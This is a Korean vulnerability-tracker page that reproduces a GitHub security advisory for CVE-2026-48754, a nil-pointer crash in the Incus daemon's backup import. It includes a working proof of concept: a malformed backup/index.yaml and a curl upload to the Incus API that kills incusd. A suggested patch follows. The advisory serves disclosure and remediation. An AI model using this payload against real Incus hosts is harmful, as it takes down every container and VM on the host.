Kestrel
대시보드로 돌아가기
CVE-2026-48754LOWGHSA대응게시일: 2026. 06. 26.수정일: 2026. 06. 26.

Incus: Nil-pointer dereference in createDependentVolumesFromBackup on disk.{Volume,VolumeSnapshots,Pool}

위협 신호 · CVSS · EPSS · KEV

정기 패치· 높은 악용 신호 없음
CVSS
low

이론적 심각도 점수

EPSS

예측 데이터 없음

KEV
미등재

실측 악용 기록 없음

권장 대응 기한60일 이내CISA SSVC 기준

계획된 패치 주기 내 조치(60일 이내)

외부 노출· KEV 미등재 · 자동화 어려움 · 부분 영향 · 외부 노출

CVSS 벡터 · 메트릭

CVSS 벡터 정보 없음

상세 설명

Summary

(*backend).createDependentVolumesFromBackup in internal/server/storage/backend.go contains a cluster of unguarded pointer derefs on every dependent-volume entry's VolumeSnapshots[i], Volume, and Pool sub-fields. An authenticated user with can_create_instances permission on any project can crash the incusd daemon by uploading an instance backup tarball whose dependent_volumes[*] block contains a nil snapshot pointer (or omits volume: / pool:).

This is a sibling-field variant of the 2026-05-04 batch fix d768f81c0a1d985f35ae56219519822b080bf5e3 ("Properly check dependent volumes on import"). That commit added if disk == nil at the top of the outer loop, but did not guard the four sub-pointer fields the loop body dereferences naked.

Vulnerable code

internal/server/storage/backend.go:9352-9412:

text
1func (b *backend) createDependentVolumesFromBackup(srcBackup backup.Info, ...) error {
2 ...
3 for _, disk := range srcBackup.Config.DependentVolumes {
4 if disk == nil { // ← d768f81 parent fix
5 return errors.New("Bad dependent volume definition found in index")
6 }
7 ...
8 snapshots := []string{}
9 for _, snap := range disk.VolumeSnapshots {
10 snapshots = append(snapshots, snap.Name) // ← I-2 trigger: snap may be nil
11 }
12
13 bInfo := backup.Info{
14 Project: disk.Volume.Project, // ← disk.Volume may be nil
15 Name: disk.Volume.Name,
16 Backend: disk.Pool.Driver, // ← disk.Pool may be nil
17 Pool: disk.Pool.Name,
18 ...
19 }
20 ...
21 devKey := fmt.Sprintf("%s/%s", disk.Pool.Name, disk.Volume.Name)
22 ...
23 }
24}

disk has type *config.Config (declared in internal/server/backup/config/backup_config.go:8). Its Volume field is *api.StorageVolume, Pool is *api.StoragePool, VolumeSnapshots is []*api.StorageVolumeSnapshot — all yaml omitempty. YAML omission decodes to nil for each.

The parent fix mental-modeled "outer-iteration variable nil"; it did not walk every sub-field deref inside the loop body. Direct asymmetric-guard variant.

Reach

  1. Attacker is an authenticated client with can_create_instances on any project. Same auth gate as GHSA-8g7m-96c8-8wwc / CVE-2026-47753.
  2. POST /1.0/instances with Content-Type: application/octet-stream and X-Incus-name: <name>.
  3. Body is a tar containing backup/index.yaml whose config: block has a non-nil container: (passes instances_post.go:854 if bInfo.Config == nil || bInfo.Config.Container == nil) and a dependent_volumes: list with a malformed entry.
  4. Chain: instancesPost -> createFromBackup:854 (Container guard passes) -> pool.CreateInstanceFromBackup -> backend.go:782 b.createDependentVolumesFromBackup -> backend.go:9374 snap.Name panics on the nil *api.StorageVolumeSnapshot element.
  5. incusd dies. Persistent DoS on repeat.

Minimal backup/index.yaml (used in the bundled PoC):

bash
1name: poc-inst
2backend: dir
3pool: default
4type: container
5optimized: false
6optimized_header: false
7snapshots: []
8config:
9 container:
10 name: poc-inst
11 architecture: x86_64
12 type: container
13 profiles: ["default"]
14 config: {}
15 devices: {}
16 expanded_devices:
17 depdisk: {type: disk, dependent: "true", pool: default, source: depvol, path: /data}
18 expanded_config: {}
19 dependent_volumes:
20 - volume: {name: depvol, type: custom, content_type: filesystem, config: {}}
21 pool: {name: default, driver: dir, config: {}}
22 volume_snapshots:
23 - ~ # explicit null entry → snap.Name at 9374 panics

(The container block must declare at least one device with type: disk, dependent: "true", pool != "", path != "/" to populate devicesMap and reach the second loop. Trivially satisfiable.)

An equivalent triggering YAML omits volume: or pool: from the dependent_volumes entry; in that case disk.Volume.Project at 9378 panics instead.

Proof of concept (end-to-end against running daemon)

Bundled in the report: make_backup.sh + 666-byte poc-inst.tar.gz.

Tested against incus 7.0.0 (zabbly latest GA, build 1:0~ubuntu24.04~202605201355) inside a privileged Ubuntu 24.04 container with default dir pool.

bash
1$ curl -s --unix-socket /var/lib/incus/unix.socket -X POST \
2 --data-binary @/tmp/poc-inst.tar.gz \
3 -H 'Content-Type: application/octet-stream' \
4 -H 'X-Incus-name: poc-inst' \
5 http://incus/1.0/instances
6{"type":"async","status":"Operation created","status_code":100,...}
7
8$ ps -ef | grep incusd | grep -v grep # process gone

Daemon panic:

text
1panic: runtime error: invalid memory address or nil pointer dereference
2[signal SIGSEGV: segmentation violation code=0x1 addr=0x18 pc=0x163b7bc]
3
4goroutine 257 [running]:
5github.com/lxc/incus/v7/internal/server/storage.(*backend).createDependentVolumesFromBackup(...)
6 /build/incus/internal/server/storage/backend.go:9374 +0x42c
7github.com/lxc/incus/v7/internal/server/storage.(*backend).CreateInstanceFromBackup(...)
8 /build/incus/internal/server/storage/backend.go:782 +0x660
9main.createFromBackup.func8(...)
10 /build/incus/cmd/incusd/instances_post.go:989 +0x2ac
11github.com/lxc/incus/v7/internal/server/operations.(*Operation).Start.func1(...)
12 /build/incus/internal/server/operations/operations.go:307 +0x2c

Stack frame backend.go:9374 is the literal snap.Name line.

Impact

  • Severity: denial of service against the entire incusd process. Every container / VM / storage operation on the host (and on the cluster member, if clustered) is aborted; subsequent requests fail until an operator restarts the process.
  • Privileges required: any authenticated user with can_create_instances on any project. Not behind the admin tier.
  • Network attack surface: the Incus REST API on :8443 or the unix socket.
  • CWE-476 — Nil-Pointer Dereference. CVSS estimate: 6.5 (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H).
  • Versions: v7.0.0 confirmed. The dependent_volumes feature did not exist in v6.x, so the vulnerable code is v7-only.

Suggested fix

text
1--- a/internal/server/storage/backend.go
2+++ b/internal/server/storage/backend.go
3@@ -9362,6 +9362,18 @@ func (b *backend) createDependentVolumesFromBackup(...) error {
4 for _, disk := range srcBackup.Config.DependentVolumes {
5 if disk == nil {
6 return errors.New("Bad dependent volume definition found in index")
7 }
8+
9+ if disk.Volume == nil || disk.Pool == nil {
10+ return errors.New("Bad dependent volume definition: missing volume or pool")
11+ }
12+
13+ for _, snap := range disk.VolumeSnapshots {
14+ if snap == nil {
15+ return errors.New("Bad dependent volume snapshot definition")
16+ }
17+ }
18+
19 optimizedStorage := srcBackup.OptimizedStorage
20 optimizedHeader := srcBackup.OptimizedHeader
21
22 snapshots := []string{}
23 for _, snap := range disk.VolumeSnapshots {
24 snapshots = append(snapshots, snap.Name)
25 }

Reporter notes

Reported via Privately-Reported Vulnerability against lxc/incus by tonghuaroot.

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.